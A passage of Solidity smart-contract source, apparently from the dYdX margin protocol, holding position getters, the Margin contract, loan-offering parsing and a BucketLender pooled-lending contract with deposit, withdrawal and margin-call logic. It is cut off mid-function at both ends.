MarginCommon.getPositionFromStorage(state, positionId);
uint256 effectiveTimeElapsed = MarginCommon.calculateEffectiveTimeElapsed(
position,
block.timestamp
);
uint256 absoluteTimeElapsed = block.timestamp.sub(position.startTimestamp);
if (absoluteTimeElapsed > effectiveTimeElapsed) {
return 0;
} else {
return effectiveTimeElapsed.add(1).sub(absoluteTimeElapsed);
}
}
function getPositionOwedAmount(
bytes32 positionId
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
return MarginCommon.calculateOwedAmount(
position,
position.principal,
block.timestamp
);
}
function getPositionOwedAmountAtTime(
bytes32 positionId,
uint256 principalToClose,
uint32 timestamp
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
timestamp >= position.startTimestamp,
"PositionGetters#getPositionOwedAmountAtTime: Requested time before position started"
);
return MarginCommon.calculateOwedAmount(
position,
principalToClose,
timestamp
);
}
function getLenderAmountForIncreasePositionAtTime(
bytes32 positionId,
uint256 principalToAdd,
uint32 timestamp
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
timestamp >= position.startTimestamp,
"PositionGetters#getLenderAmountForIncreasePositionAtTime: timestamp < position start"
);
return MarginCommon.calculateLenderAmountForIncreasePosition(
position,
principalToAdd,
timestamp
);
}
function getPosition(
bytes32 positionId
)
external
view
returns (
address[4],
uint256[2],
uint32[6]
)
{
MarginCommon.Position storage position = state.positions[positionId];
return (
[
position.owedToken,
position.heldToken,
position.lender,
position.owner
],
[
position.principal,
position.requiredDeposit
],
[
position.callTimeLimit,
position.startTimestamp,
position.callTimestamp,
position.maxDuration,
position.interestRate,
position.interestPeriod
]
);
}
function getPositionLender(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].lender;
}
function getPositionOwner(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].owner;
}
function getPositionHeldToken(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].heldToken;
}
function getPositionOwedToken(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].owedToken;
}
function getPositionPrincipal(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.positions[positionId].principal;
}
function getPositionInterestRate(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.positions[positionId].interestRate;
}
function getPositionRequiredDeposit(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.positions[positionId].requiredDeposit;
}
function getPositionStartTimestamp(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].startTimestamp;
}
function getPositionCallTimestamp(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].callTimestamp;
}
function getPositionCallTimeLimit(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].callTimeLimit;
}
function getPositionMaxDuration(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].maxDuration;
}
function getPositioninterestPeriod(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].interestPeriod;
}
}
library TransferImpl {
function transferLoanImpl(
MarginState.State storage state,
bytes32 positionId,
address newLender
)
public
{
require(
MarginCommon.containsPositionImpl(state, positionId),
"TransferImpl#transferLoanImpl: Position does not exist"
);
address originalLender = state.positions[positionId].lender;
require(
msg.sender == originalLender,
"TransferImpl#transferLoanImpl: Only lender can transfer ownership"
);
require(
newLender != originalLender,
"TransferImpl#transferLoanImpl: Cannot transfer ownership to self"
);
address finalLender = TransferInternal.grantLoanOwnership(
positionId,
originalLender,
newLender);
require(
finalLender != originalLender,
"TransferImpl#transferLoanImpl: Cannot ultimately transfer ownership to self"
);
state.positions[positionId].lender = finalLender;
}
function transferPositionImpl(
MarginState.State storage state,
bytes32 positionId,
address newOwner
)
public
{
require(
MarginCommon.containsPositionImpl(state, positionId),
"TransferImpl#transferPositionImpl: Position does not exist"
);
address originalOwner = state.positions[positionId].owner;
require(
msg.sender == originalOwner,
"TransferImpl#transferPositionImpl: Only position owner can transfer ownership"
);
require(
newOwner != originalOwner,
"TransferImpl#transferPositionImpl: Cannot transfer ownership to self"
);
address finalOwner = TransferInternal.grantPositionOwnership(
positionId,
originalOwner,
newOwner);
require(
finalOwner != originalOwner,
"TransferImpl#transferPositionImpl: Cannot ultimately transfer ownership to self"
);
state.positions[positionId].owner = finalOwner;
}
}
contract Margin is
ReentrancyGuard,
MarginStorage,
MarginEvents,
MarginAdmin,
LoanGetters,
PositionGetters
{
using SafeMath for uint256;
constructor(
address vault,
address proxy
)
public
MarginAdmin()
{
state = MarginState.State({
VAULT: vault,
TOKEN_PROXY: proxy
});
}
function openPosition(
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bool depositInHeldToken,
bytes signature,
bytes order
)
external
onlyWhileOperational
nonReentrant
returns (bytes32)
{
return OpenPositionImpl.openPositionImpl(
state,
addresses,
values256,
values32,
depositInHeldToken,
signature,
order
);
}
function openWithoutCounterparty(
address[4] addresses,
uint256[3] values256,
uint32[4] values32
)
external
onlyWhileOperational
nonReentrant
returns (bytes32)
{
return OpenWithoutCounterpartyImpl.openWithoutCounterpartyImpl(
state,
addresses,
values256,
values32
);
}
function increasePosition(
bytes32 positionId,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bool depositInHeldToken,
bytes signature,
bytes order
)
external
onlyWhileOperational
nonReentrant
returns (uint256)
{
return IncreasePositionImpl.increasePositionImpl(
state,
positionId,
addresses,
values256,
values32,
depositInHeldToken,
signature,
order
);
}
function increaseWithoutCounterparty(
bytes32 positionId,
uint256 principalToAdd
)
external
onlyWhileOperational
nonReentrant
returns (uint256)
{
return IncreasePositionImpl.increaseWithoutCounterpartyImpl(
state,
positionId,
principalToAdd
);
}
function closePosition(
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bytes order
)
external
closePositionStateControl
nonReentrant
returns (uint256, uint256, uint256)
{
return ClosePositionImpl.closePositionImpl(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
exchangeWrapper,
payoutInHeldToken,
order
);
}
function closePositionDirectly(
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient
)
external
closePositionDirectlyStateControl
nonReentrant
returns (uint256, uint256, uint256)
{
return ClosePositionImpl.closePositionImpl(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
address(0),
true,
new bytes(0)
);
}
function closeWithoutCounterparty(
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient
)
external
closePositionStateControl
nonReentrant
returns (uint256, uint256)
{
return CloseWithoutCounterpartyImpl.closeWithoutCounterpartyImpl(
state,
positionId,
requestedCloseAmount,
payoutRecipient
);
}
function marginCall(
bytes32 positionId,
uint256 requiredDeposit
)
external
nonReentrant
{
LoanImpl.marginCallImpl(
state,
positionId,
requiredDeposit
);
}
function cancelMarginCall(
bytes32 positionId
)
external
onlyWhileOperational
nonReentrant
{
LoanImpl.cancelMarginCallImpl(state, positionId);
}
function forceRecoverCollateral(
bytes32 positionId,
address recipient
)
external
nonReentrant
returns (uint256)
{
return ForceRecoverCollateralImpl.forceRecoverCollateralImpl(
state,
positionId,
recipient
);
}
function depositCollateral(
bytes32 positionId,
uint256 depositAmount
)
external
onlyWhileOperational
nonReentrant
{
DepositCollateralImpl.depositCollateralImpl(
state,
positionId,
depositAmount
);
}
function cancelLoanOffering(
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
uint256 cancelAmount
)
external
cancelLoanOfferingStateControl
nonReentrant
returns (uint256)
{
return LoanImpl.cancelLoanOfferingImpl(
state,
addresses,
values256,
values32,
cancelAmount
);
}
function transferLoan(
bytes32 positionId,
address who
)
external
nonReentrant
{
TransferImpl.transferLoanImpl(
state,
positionId,
who);
}
function transferPosition(
bytes32 positionId,
address who
)
external
nonReentrant
{
TransferImpl.transferPositionImpl(
state,
positionId,
who);
}
function getVaultAddress()
external
view
returns (address)
{
return state.VAULT;
}
function getTokenProxyAddress()
external
view
returns (address)
{
return state.TOKEN_PROXY;
}
}
contract OnlyMargin {
address public DYDX_MARGIN;
constructor(
address margin
)
public
{
DYDX_MARGIN = margin;
}
modifier onlyMargin()
{
require(
msg.sender == DYDX_MARGIN,
"OnlyMargin#onlyMargin: Only Margin can call"
);
_;
}
}
contract LoanOfferingParser {
function parseLoanOffering(
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
bytes signature
)
internal
pure
returns (MarginCommon.LoanOffering memory)
{
MarginCommon.LoanOffering memory loanOffering;
fillLoanOfferingAddresses(loanOffering, addresses);
fillLoanOfferingValues256(loanOffering, values256);
fillLoanOfferingValues32(loanOffering, values32);
loanOffering.signature = signature;
return loanOffering;
}
function fillLoanOfferingAddresses(
MarginCommon.LoanOffering memory loanOffering,
address[9] addresses
)
private
pure
{
loanOffering.owedToken = addresses[0];
loanOffering.heldToken = addresses[1];
loanOffering.payer = addresses[2];
loanOffering.owner = addresses[3];
loanOffering.taker = addresses[4];
loanOffering.positionOwner = addresses[5];
loanOffering.feeRecipient = addresses[6];
loanOffering.lenderFeeToken = addresses[7];
loanOffering.takerFeeToken = addresses[8];
}
function fillLoanOfferingValues256(
MarginCommon.LoanOffering memory loanOffering,
uint256[7] values256
)
private
pure
{
loanOffering.rates.maxAmount = values256[0];
loanOffering.rates.minAmount = values256[1];
loanOffering.rates.minHeldToken = values256[2];
loanOffering.rates.lenderFee = values256[3];
loanOffering.rates.takerFee = values256[4];
loanOffering.expirationTimestamp = values256[5];
loanOffering.salt = values256[6];
}
function fillLoanOfferingValues32(
MarginCommon.LoanOffering memory loanOffering,
uint32[4] values32
)
private
pure
{
loanOffering.callTimeLimit = values32[0];
loanOffering.maxDuration = values32[1];
loanOffering.rates.interestRate = values32[2];
loanOffering.rates.interestPeriod = values32[3];
}
}
library MarginHelper {
function getPosition(
address DYDX_MARGIN,
bytes32 positionId
)
internal
view
returns (MarginCommon.Position memory)
{
(
address[4] memory addresses,
uint256[2] memory values256,
uint32[6] memory values32
) = Margin(DYDX_MARGIN).getPosition(positionId);
return MarginCommon.Position({
owedToken: addresses[0],
heldToken: addresses[1],
lender: addresses[2],
owner: addresses[3],
principal: values256[0],
requiredDeposit: values256[1],
callTimeLimit: values32[0],
startTimestamp: values32[1],
callTimestamp: values32[2],
maxDuration: values32[3],
interestRate: values32[4],
interestPeriod: values32[5]
});
}
}
contract BucketLender is
Ownable,
OnlyMargin,
LoanOwner,
IncreaseLoanDelegator,
MarginCallDelegator,
CancelMarginCallDelegator,
ForceRecoverCollateralDelegator,
LoanOfferingParser,
LoanOfferingVerifier,
ReentrancyGuard
{
using SafeMath for uint256;
using TokenInteract for address;
event Deposit(
address indexed beneficiary,
uint256 bucket,
uint256 amount,
uint256 weight
);
event Withdraw(
address indexed withdrawer,
uint256 bucket,
uint256 weight,
uint256 owedTokenWithdrawn,
uint256 heldTokenWithdrawn
);
event PrincipalIncreased(
uint256 principalTotal,
uint256 bucketNumber,
uint256 principalForBucket,
uint256 amount
);
event PrincipalDecreased(
uint256 principalTotal,
uint256 bucketNumber,
uint256 principalForBucket,
uint256 amount
);
event AvailableIncreased(
uint256 availableTotal,
uint256 bucketNumber,
uint256 availableForBucket,
uint256 amount
);
event AvailableDecreased(
uint256 availableTotal,
uint256 bucketNumber,
uint256 availableForBucket,
uint256 amount
);
mapping(uint256 => uint256) public availableForBucket;
uint256 public availableTotal;
mapping(uint256 => uint256) public principalForBucket;
uint256 public principalTotal;
mapping(uint256 => mapping(address => uint256)) public weightForBucketForAccount;
mapping(uint256 => uint256) public weightForBucket;
uint256 public criticalBucket = 0;
uint256 public cachedRepaidAmount = 0;
bool public wasForceClosed = false;
bytes32 public POSITION_ID;
address public HELD_TOKEN;
address public OWED_TOKEN;
uint32 public BUCKET_TIME;
uint32 public INTEREST_RATE;
uint32 public INTEREST_PERIOD;
uint32 public MAX_DURATION;
uint32 public CALL_TIMELIMIT;
uint32 public MIN_HELD_TOKEN_NUMERATOR;
uint32 public MIN_HELD_TOKEN_DENOMINATOR;
mapping(address => bool) public TRUSTED_MARGIN_CALLERS;
mapping(address => bool) public TRUSTED_WITHDRAWERS;
constructor(
address margin,
bytes32 positionId,
address heldToken,
address owedToken,
uint32[7] parameters,
address[] trustedMarginCallers,
address[] trustedWithdrawers
)
public
OnlyMargin(margin)
{
POSITION_ID = positionId;
HELD_TOKEN = heldToken;
OWED_TOKEN = owedToken;
require(
parameters[0] != 0,
"BucketLender#constructor: BUCKET_TIME cannot be zero"
);
BUCKET_TIME = parameters[0];
INTEREST_RATE = parameters[1];
INTEREST_PERIOD = parameters[2];
MAX_DURATION = parameters[3];
CALL_TIMELIMIT = parameters[4];
MIN_HELD_TOKEN_NUMERATOR = parameters[5];
MIN_HELD_TOKEN_DENOMINATOR = parameters[6];
uint256 i = 0;
for (i = 0; i < trustedMarginCallers.length; i++) {
TRUSTED_MARGIN_CALLERS[trustedMarginCallers[i]] = true;
}
for (i = 0; i < trustedWithdrawers.length; i++) {
TRUSTED_WITHDRAWERS[trustedWithdrawers[i]] = true;
}
OWED_TOKEN.approve(
Margin(margin).getTokenProxyAddress(),
MathHelpers.maxUint256()
);
}
modifier onlyPosition(bytes32 positionId) {
require(
POSITION_ID == positionId,
"BucketLender#onlyPosition: Incorrect position"
);
_;
}
function verifyLoanOffering(
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
bytes32 positionId,
bytes signature
)
external
onlyMargin
nonReentrant
onlyPosition(positionId)
returns (address)
{
require(
Margin(DYDX_MARGIN).containsPosition(POSITION_ID),
"BucketLender#verifyLoanOffering: This contract should not open a new position"
);
MarginCommon.LoanOffering memory loanOffering = parseLoanOffering(
addresses,
values256,
values32,
signature
);
assert(loanOffering.owedToken == OWED_TOKEN);
assert(loanOffering.heldToken == HELD_TOKEN);
assert(loanOffering.payer == address(this));
assert(loanOffering.owner == address(this));
require(
loanOffering.taker == address(0),
"BucketLender#verifyLoanOffering: loanOffering.taker is non-zero"
);
require(
loanOffering.feeRecipient == address(0),
"BucketLender#verifyLoanOffering: loanOffering.feeRecipient is non-zero"
);
require(
loanOffering.positionOwner == address(0),
"BucketLender#verifyLoanOffering: loanOffering.positionOwner is non-zero"
);
require(
loanOffering.lenderFeeToken == address(0),
"BucketLender#verifyLoanOffering: loanOffering.lenderFeeToken is non-zero"
);
require(
loanOffering.takerFeeToken == address(0),
"BucketLender#verifyLoanOffering: loanOffering.takerFeeToken is non-zero"
);
require(
loanOffering.rates.maxAmount == MathHelpers.maxUint256(),
"BucketLender#verifyLoanOffering: loanOffering.maxAmount is incorrect"
);
require(
loanOffering.rates.minAmount == 0,
"BucketLender#verifyLoanOffering: loanOffering.minAmount is non-zero"
);
require(
loanOffering.rates.minHeldToken == 0,
"BucketLender#verifyLoanOffering: loanOffering.minHeldToken is non-zero"
);
require(
loanOffering.rates.lenderFee == 0,
"BucketLender#verifyLoanOffering: loanOffering.lenderFee is non-zero"
);
require(
loanOffering.rates.takerFee == 0,
"BucketLender#verifyLoanOffering: loanOffering.takerFee is non-zero"
);
require(
loanOffering.expirationTimestamp == MathHelpers.maxUint256(),
"BucketLender#verifyLoanOffering: expirationTimestamp is incorrect"
);
require(
loanOffering.salt == 0,
"BucketLender#verifyLoanOffering: loanOffering.salt is non-zero"
);
require(
loanOffering.callTimeLimit == MathHelpers.maxUint32(),
"BucketLender#verifyLoanOffering: loanOffering.callTimelimit is incorrect"
);
require(
loanOffering.maxDuration == MathHelpers.maxUint32(),
"BucketLender#verifyLoanOffering: loanOffering.maxDuration is incorrect"
);
assert(loanOffering.rates.interestRate == INTEREST_RATE);
assert(loanOffering.rates.interestPeriod == INTEREST_PERIOD);
return address(this);
}
function receiveLoanOwnership(
address from,
bytes32 positionId
)
external
onlyMargin
nonReentrant
onlyPosition(positionId)
returns (address)
{
MarginCommon.Position memory position = MarginHelper.getPosition(DYDX_MARGIN, POSITION_ID);
uint256 initialPrincipal = position.principal;
uint256 minHeldToken = MathHelpers.getPartialAmount(
uint256(MIN_HELD_TOKEN_NUMERATOR),
uint256(MIN_HELD_TOKEN_DENOMINATOR),
initialPrincipal
);
assert(initialPrincipal > 0);
assert(principalTotal == 0);
assert(from != address(this));
require(
position.owedToken == OWED_TOKEN,
"BucketLender#receiveLoanOwnership: Position owedToken mismatch"
);
require(
position.heldToken == HELD_TOKEN,
"BucketLender#receiveLoanOwnership: Position heldToken mismatch"
);
require(
position.maxDuration == MAX_DURATION,
"BucketLender#receiveLoanOwnership: Position maxDuration mismatch"
);
require(
position.callTimeLimit == CALL_TIMELIMIT,
"BucketLender#receiveLoanOwnership: Position callTimeLimit mismatch"
);
require(
position.interestRate == INTEREST_RATE,
"BucketLender#receiveLoanOwnership: Position interestRate mismatch"
);
require(
position.interestPeriod == INTEREST_PERIOD,
"BucketLender#receiveLoanOwnership: Position interestPeriod mismatch"
);
require(
Margin(DYDX_MARGIN).getPositionBalance(POSITION_ID) >= minHeldToken,
"BucketLender#receiveLoanOwnership: Not enough heldToken as collateral"
);
principalForBucket[0] = initialPrincipal;
principalTotal = initialPrincipal;
weightForBucket[0] = weightForBucket[0].add(initialPrincipal);
weightForBucketForAccount[0][from] =
weightForBucketForAccount[0][from].add(initialPrincipal);
return address(this);
}
function increaseLoanOnBehalfOf(
address payer,
bytes32 positionId,
uint256 principalAdded,
uint256 lentAmount
)
external
onlyMargin
nonReentrant
onlyPosition(positionId)
returns (address)
{
Margin margin = Margin(DYDX_MARGIN);
require(
payer == address(this),
"BucketLender#increaseLoanOnBehalfOf: Other lenders cannot lend for this position"
);
require(
!margin.isPositionCalled(POSITION_ID),
"BucketLender#increaseLoanOnBehalfOf: No lending while the position is margin-called"
);
uint256 principalAfterIncrease = margin.getPositionPrincipal(POSITION_ID);
uint256 principalBeforeIncrease = principalAfterIncrease.sub(principalAdded);
accountForClose(principalTotal.sub(principalBeforeIncrease));
accountForIncrease(principalAdded, lentAmount);
assert(principalTotal == principalAfterIncrease);
return address(this);
}
function marginCallOnBehalfOf(
address caller,
bytes32 positionId,
uint256 depositAmount
)
external
onlyMargin
nonReentrant
onlyPosition(positionId)
returns (address)
{
require(
TRUSTED_MARGIN_CALLERS[caller],
"BucketLender#marginCallOnBehalfOf: Margin-caller must be trusted"
);
require(
depositAmount == 0,
"BucketLender#marginCallOnBehalfOf: Deposit amount must be zero"
);
return address(this);
}
function cancelMarginCallOnBehalfOf(
address canceler,
bytes32 positionId
)
external
onlyMargin
nonReentrant
onlyPosition(positionId)
returns (address)
{
require(
TRUSTED_MARGIN_CALLERS[canceler],
"BucketLender#cancelMarginCallOnBehalfOf: Margin-call-canceler must be trusted"
);
return address(this);
}
function forceRecoverCollateralOnBehalfOf(
address ,
bytes32 positionId,
address recipient
)
external
onlyMargin
nonReentrant
onlyPosition(positionId)
returns (address)
{
return forceRecoverCollateralInternal(recipient);
}
function rebalanceBuckets()
external
nonReentrant
{
rebalanceBucketsInternal();
}
function deposit(
address beneficiary,
uint256 amount
)
external
nonReentrant
returns (uint256)
{
Margin margin = Margin(DYDX_MARGIN);
bytes32 positionId = POSITION_ID;
require(
beneficiary != address(0),
"BucketLender#deposit: Beneficiary cannot be the zero address"
);
require(
amount != 0,
"BucketLender#deposit: Cannot deposit zero tokens"
);
require(
!margin.isPositionClosed(positionId),
"BucketLender#deposit: Cannot deposit after the position is closed"
);
require(
!margin.isPositionCalled(positionId),
"BucketLender#deposit: Cannot deposit while the position is margin-called"
);
rebalanceBucketsInternal();
OWED_TOKEN.transferFrom(
msg.sender,
address(this),
amount
);
uint256 bucket = getCurrentBucket();
uint256 effectiveAmount = availableForBucket[bucket].add(getBucketOwedAmount(bucket));
uint256 weightToAdd = 0;
if (effectiveAmount == 0) {
weightToAdd = amount;
} else {
weightToAdd = MathHelpers.getPartialAmount(
amount,
effectiveAmount,
weightForBucket[bucket]
);
}
require(
weightToAdd != 0,
"BucketLender#deposit: Cannot deposit for zero weight"
);
updateAvailable(bucket, amount, true);
weightForBucketForAccount[bucket][beneficiary] =
weightForBucketForAccount[bucket][beneficiary].add(weightToAdd);
weightForBucket[bucket] = weightForBucket[bucket].add(weightToAdd);
emit Deposit(
beneficiary,
bucket,
amount,
weightToAdd
);
return bucket;
}
function withdraw(
uint256[] buckets,
uint256[] maxWeights,
address onBehalfOf
)
external
nonReentrant
returns (uint256, uint256)
{
require(
buckets.length == maxWeights.length,
"BucketLender#withdraw: The lengths of the input arrays must match"
);
if (onBehalfOf != msg.sender) {
require(
TRUSTED_WITHDRAWERS[msg.sender],
"BucketLender#withdraw: Only trusted withdrawers can withdraw on behalf of others"
);
}
rebalanceBucketsInternal();
uint256 lockedBucket = 0;
if (
Margin(DYDX_MARGIN).containsPosition(POSITION_ID) &&
criticalBucket == getCurrentBucket()
) {
lockedBucket = criticalBucket;
}
uint256[2] memory results;
uint256 maxHeldToken = 0;
if (wasForceClosed) {
maxHeldToken = HELD_TOKEN.balanceOf(address(this));
}
for (uint256 i = 0; i < buckets.length; i++) {
uint256 bucket = buckets[i];
if ((bucket != 0) && (bucket == lockedBucket)) {
continue;
}
(uint256 owedTokenForBucket, uint256 heldTokenForBucket) = withdrawSingleBucket(
onBehalfOf,
bucket,
maxWeights[i],
maxHeldToken
);
results[0] = results[0].add(owedTokenForBucket);
results[1] = results[1].add(heldTokenForBucket);
}
OWED_TOKEN.transfer(msg.sender, results[0]);
HELD_TOKEN.transfer(msg.sender, results[1]);
return (results[0], results[1]);
}
function withdrawExcessToken(
address token,
address to
)
external
onlyOwner
returns (uint256)
{
rebalanceBucketsInternal();
uint256 amount = token.balanceOf(address(this));
if (token == OWED_TOKEN) {
amount = amount.sub(availableTotal);
} else if (token == HELD_TOKEN) {
require(
!wasForceClosed,
"BucketLender#withdrawExcessToken: heldToken cannot be withdrawn if force-closed"
);
}
token.transfer(to, amount);
return amount;
}
function getCurrentBucket()
public
view
returns (uint256)
{
Margin margin = Margin(DYDX_MARGIN);
bytes32 positionId = POSITION_ID;
uint32 bucketTime = BUCKET_TIME;
assert(!margin.isPositionClosed(positionId));
if (!margin.containsPosition(positionId)) {
return 0;
}
uint256 startTimestamp = margin.getPositionStartTimestamp(positionId);
return block.timestamp.sub(startTimestamp).div(bucketTime).add(1);
}
function getBucketOwedAmount(
uint256 bucket
)
public
view
returns (uint256)
{
if (Margin(DYDX_MARGIN).isPositionClosed(POSITION_ID)) {
return 0;
}
uint256 lentPrincipal = principalForBucket[bucket];
if (lentPrincipal == 0) {
return 0;
}
uint256 owedAmount = Margin(DYDX_MARGIN).getPositionOwedAmountAtTime(
POSITION_ID,
principalTotal,
uint32(block.timestamp)
);
return MathHelpers.getPartialAmount(
lentPrincipal,
principalTotal,
owedAmount
);
}
function forceRecoverCollateralInternal(
address recipient
)
internal
returns (address)
{
require(
recipient == address(this),
"BucketLender#forceRecoverCollateralOnBehalfOf: Recipient must be this contract"
);
rebalanceBucketsInternal();
wasForceClosed = true;
return address(this);
}
function rebalanceBucketsInternal()
private
{
if (wasForceClosed) {
return;
}
uint256 marginPrincipal = Margin(DYDX_MARGIN).getPositionPrincipal(POSITION_ID);
accountForClose(principalTotal.sub(marginPrincipal));
assert(principalTotal == marginPrincipal);
}
function accountForClose(
uint256 principalRemoved
)
private
{
if (principalRemoved == 0) {
return;
}
uint256 newRepaidAmount = Margin(DYDX_MARGIN).getTotalOwedTokenRepaidToLender(POSITION_ID);
assert(newRepaidAmount.sub(cachedRepaidAmount) >= principalRemoved);
uint256 principalToSub = principalRemoved;
uint256 availableToAdd = newRepaidAmount.sub(cachedRepaidAmount);
uint256 criticalBucketTemp = criticalBucket;
for (
uint256 bucket = criticalBucketTemp;
principalToSub > 0;
bucket--
) {
assert(bucket <= criticalBucketTemp);
uint256 principalTemp = Math.min256(principalToSub, principalForBucket[bucket]);
if (principalTemp == 0) {
continue;
}
uint256 availableTemp = MathHelpers.getPartialAmount(
principalTemp,
principalToSub,
availableToAdd
);
updateAvailable(bucket, availableTemp, true);
updatePrincipal(bucket, principalTemp, false);
principalToSub = principalToSub.sub(principalTemp);
availableToAdd = availableToAdd.sub(availableTemp);
criticalBucketTemp = bucket;
}
assert(principalToSub == 0);
assert(availableToAdd == 0);
setCriticalBucket(criticalBucketTemp);
cachedRepaidAmount = newRepaidAmount;
}
function accountForIncrease(
uint256 principalAdded,
uint256 lentAmount
)
private
{
require(
lentAmount <= availableTotal,
"BucketLender#accountForIncrease: No lending not-accounted-for funds"
);
uint256 principalToAdd = principalAdded;
uint256 availableToSub = lentAmount;
uint256 criticalBucketTemp;
uint256 lastBucket = getCurrentBucket();
for (
uint256 bucket = criticalBucket;
principalToAdd > 0;
bucket++
) {
assert(bucket <= lastBucket);
uint256 availableTemp = Math.min256(availableToSub, availableForBucket[bucket]);
if (availableTemp == 0) {
continue;
}
uint256 principalTemp = MathHelpers.getPartialAmount(
availableTemp,
availableToSub,
principalToAdd
);
updateAvailable(bucket, availableTemp, false);
updatePrincipal(bucket, principalTemp, true);
principalToAdd = principalToAdd.sub(principalTemp);
availableToSub = availableToSub.sub(availableTemp);
criticalBucketTemp = bucket;
}
assert(principalToAdd == 0);
assert(availableToSub == 0);
setCriticalBucket(criticalBucketTemp);
}
function withdrawSingleBucket(
address onBehalfOf,
uint256 bucket,
uint256 maxWeight,
uint256 maxHeldToken
)
private
returns (uint256, uint256)
{
uint256 bucketWeight = weightForBucket[bucket];
if (bucketWeight == 0) {
return (0, 0);
}
uint256 userWeight = weightForBucketForAccount[bucket][onBehalfOf];
uint256 weightToWithdraw = Math.min256(maxWeight, userWeight);
if (weightToWithdraw == 0) {
return (0, 0);
}
weightForBucket[bucket] = weightForBucket[bucket].sub(weightToWithdraw);
weightForBucketForAccount[bucket][onBehalfOf] = userWeight.sub(weightToWithdraw);
uint256 owedTokenToWithdraw = withdrawOwedToken(
bucket,
weightToWithdraw,
bucketWeight
);
uint256 heldTokenToWithdraw = withdrawHeldToken(
bucket,
weightToWithdraw,
bucketWeight,
maxHeldToken
);
emit Withdraw(
onBehalfOf,
bucket,
weightToWithdraw,
owedTokenToWithdraw,
heldTokenToWithdraw
);
return (owedTokenToWithdraw, heldTokenToWithdraw);
}
function withdrawOwedToken(
uint256 bucket,
uint256 userWeight,
uint256 bucketWeight
)
private
returns (uint256)
{
uint256 owedTokenToWithdraw = MathHelpers.getPartialAmount(
userWeight,
bucketWeight,
availableForBucket[bucket].add(getBucketOwedAmount(bucket))
);
require(
owedTokenToWithdraw <= availableForBucket[bucket],
"BucketLender#withdrawOwedToken: There must be enough available owedToken"
);
updateAvailable(bucket, owedTokenToWithdraw, false);
return owedTokenToWithdraw;
}
function withdrawHeldToken(
uint256 bucket,
uint256 userWeight,
uint256 bucketWeight,
uint256 maxHeldToken
)
private
returns (uint256)
{
if (maxHeldToken == 0) {
return 0;
}
uint256 principalForBucketForAccount = MathHelpers.getPartialAmount(
userWeight,
bucketWeight,
principalForBucket[bucket]
);
uint256 heldTokenToWithdraw = MathHelpers.getPartialAmount(
principalForBucketForAccount,
principalTotal,
maxHeldToken
);
updatePrincipal(bucket, principalForBucketForAccount, false);
return heldTokenToWithdraw;
}
function setCriticalBucket(
uint256 bucket
)
private
{
if (criticalBucket == bucket) {
return;
}
criticalBucket = bucket;
}
function updateAvailable(
uint256 bucket,
uint256 amount,
bool increase
)
private
{
if (amount == 0) {
return;
}
uint256 newTotal;
uint256 newForBucket;
if (increase) {
newTotal = availableTotal.add(amount);
newForBucket = availableForBucket[bucket].add(amount);
emit AvailableIncreased(newTotal, bucket, newForBucket, amount);
} else {
newTotal = availableTotal.sub(amount);
newForBucket = availableForBucket[bucket].sub(amount);
emit AvailableDecreased(newTotal, bucket, newForBucket, amount);
}
availableTotal = newTotal;
availableForBucket[bucket] = newForBucket;
}
function updatePrincipal(
uint256 bucket,
uint256 amount,
bool increase
)
private
{
if (amount == 0) {
return;
}
uint256 newTotal;
uint256 newForBucket;
if (increase) {
newTotal = principalTotal.add(amount);
newForBucket = principalForBucket[bucket].add(amount);
emit PrincipalIncreased(newTotal, bucket, newForBucket, amount);
} else {
newTotal = principalTotal.sub(amount);
newForBucket = principalForBucket[bucket].sub(amount);
emit PrincipalDecreased(newTotal, bucket, newForBucket, amount);
}
principalTotal = newTotal;
principalForBucket[bucket] = newForBucket;
}
}
library AdvancedTokenInteract {
using TokenInteract for address;
function ensureAllowance(
address token,
address spender,
uint256 amount
)
internal
{
if (token.allowance(address(this), spender) < amount) {
token.approve(spender, MathHelpers.maxUint256());
}
}
}
contract BucketLenderProxy
{
using TokenInteract for address;
using AdvancedTokenInteract for address;
address public WETH;
constructor(
address weth
)
public
{
WETH = weth;
}
function ()
external
payable
{
require(
msg.sender == WETH,
"BucketLenderProxy#fallback: Cannot recieve ETH directly unless unwrapping WETH"
);
}
function depositEth(
address bucketLender
)
external
payable
returns (uint256)
{
address weth = WETH;
require(
weth == BucketLender(bucketLender).OWED_TOKEN(),
"BucketLenderProxy#depositEth: BucketLender does not take WETH"
);
WETH9(weth).deposit.value(msg.value)();
return depositInternal(
bucketLender,
weth,
msg.value
);
}
function deposit(
address bucketLender,
uint256 amount
)
external
returns (uint256)
{
address token = BucketLender(bucketLender).OWED_TOKEN();
token.transferFrom(msg.sender, address(this), amount);
return depositInternal(
bucketLender,
token,
amount
);
}
function withdraw(
address bucketLender,
uint256[] buckets,
uint256[] maxWeights
)
external
returns (uint256, uint256)
{
address owedToken = BucketLender(bucketLender).OWED_TOKEN();
address heldToken = BucketLender(bucketLender).HELD_TOKEN();
(
uint256 owedTokenAmount,
uint256 heldTokenAmount
) = BucketLender(bucketLender).withdraw(
buckets,
maxWeights,
msg.sender
);
